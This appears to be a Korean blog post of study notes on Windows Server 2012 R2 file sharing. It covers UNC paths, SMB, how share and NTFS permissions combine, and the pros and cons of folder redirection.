공유방식 공유할 디렉토리 - 공유 대상 - 공유대상 지정 후 권한 설정

공유 디렉투리 접근방법

\\ <= UNC경로 (Universal Naming Convention)
\\[서버이름]
\\[서버이름]\[공유이름]
\\[서버IP]
\\[서버IP]\[공유이름]

SMB(Server Message Block)프로토콜을 사용하여 파일 공유

파일 공유시 권한
  • 공유권한 - 파일 공유시에 적용되는 권한(간단함), 파일시스템에 상관없이 적용됨
  • NTFS권한 - 파일 공유시 뿐만 아니라, 로컬 시스템에서도 적용되는 권한 NTFS,ReFS파일시스템에서만 적용할 수 있음

파일 공유시 적용되는 권한
      - 공유권한+NTFS권한 조합
권한 조합시 적용되는 규칙
  1. 공유권한-공유권한, NTFS권한-NTFS권한 충돌 -------- 더 높은 권한이 적용됨
  2. 거부 권한 -------------------------------------------------- 거부는 우선적으로 적용
  3. 공유권한-NTFS권한 충돌 --------------------------------- 더 낮은 권한이 적용됨

일반적인 공유권한
  • Everyone에게 모든 권한 부여
  • NTFS권한에서 세부 권한을 설정

폴더별로 따로 권한주려면 Active D에서 따로 사용자그룹 만들고 추가해주면 됨

-개별 사용자들이 로컬 디스크에 저장하는 주요 사용자 데이터(내문서, 바탕화면, 사진, 동영상)를 공유 저장소 위치에 저장하도록 설정하는 기능

* 폴더리디렉션 장점
  1. 도메인 내의 어느 컴퓨터에서든지 동일한 작업환경 구성 가능
  2. 백업이 용이

* 폴더리디렉션 단점
  1. 네트워크 자원 소모 / 공유저장소 시스템 자원 소모
  2. 성능이 저하됨 (로컬 인터페이스 성능 > 네트워크 성능)

'KITRI 침해대응 > Windows Server 2012 R2' 카테고리의 다른 글

Active Directory와 작업그룹의 차이점  (0) 2016.01.18
DNS  (0) 2016.01.18
디스크관리  (0) 2016.01.18
폴더 리디렉션  (0) 2016.01.18
컴퓨터개체, 그룹/조직구성단위, 그룹정책  (0) 2016.01.18
VMware Snapshot 찍기  (0) 2016.01.18

+ Recent posts